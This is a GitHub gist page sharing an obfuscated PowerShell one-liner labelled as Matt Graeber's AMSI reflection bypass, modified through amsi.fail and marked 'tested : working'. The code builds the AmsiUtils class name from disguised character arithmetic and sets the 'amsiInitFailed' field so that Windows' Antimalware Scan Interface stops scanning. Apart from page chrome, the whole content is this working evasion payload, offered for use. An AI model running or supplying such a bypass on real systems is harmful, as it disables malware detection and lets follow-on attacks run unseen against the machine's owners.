Skip to content

Instantly share code, notes, and snippets.

@GetRektBoy724

GetRektBoy724/amsibypass2.ps1

Last active August 19, 2021 15:33
Show Gist options
  • Save GetRektBoy724/f194c40d8ade95f6f54f74da25d696e9 to your computer and use it in GitHub Desktop.
Save GetRektBoy724/f194c40d8ade95f6f54f74da25d696e9 to your computer and use it in GitHub Desktop.
Download ZIP
Matt Graeber's Reflection Bypass - Modified by https://amsi.fail 1 - tested : working
Raw
amsibypass2.ps1
[Ref].Assembly.GetType($([CHAR]([BYtE]0x53)+[ChAR]([bYtE]0x79)+[cHAr]([byTe]0x73)+[CHar](116)+[CHaR]([BYTE]0x65)+[cHaR](104+5)+[CHAr]([ByTe]0x2E)+[CHAr](50+27)+[cHAr](186-89)+[CHaR](9900/90)+[CHaR](60+37)+[CHaR]([Byte]0x67)+[chAr]([BytE]0x65)+[CHar]([bYtE]0x6D)+[CHAr]([BYTE]0x65)+[CHaR]([bYtE]0x6E)+[ChAr](188-72)+[Char](1610/35)+[chAR](455/7)+[chaR]([bYTE]0x75)+[CHAR](136-20)+[CHAR]([BYTe]0x6F)+[chaR]([byTE]0x6D)+[char](97)+[chaR]([Byte]0x74)+[chaR](4410/42)+[chAr](72+39)+[Char](7920/72)+[cHAR]([bytE]0x2E)+[chaR](65)+[cHAR]([Byte]0x6D)+[Char]([bytE]0x73)+[chaR](5670/54)+[ChAR]([bYte]0x55)+[CHAR](150-34)+[Char]([ByTe]0x69)+[char](108)+[chAr](115))).GetField(''+$([SYSTEM.NEt.webUTiliTY]::hTmLDEcoDE('amsi'))+'InitFailed','NonPublic,Static').SetValue($null,$true);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment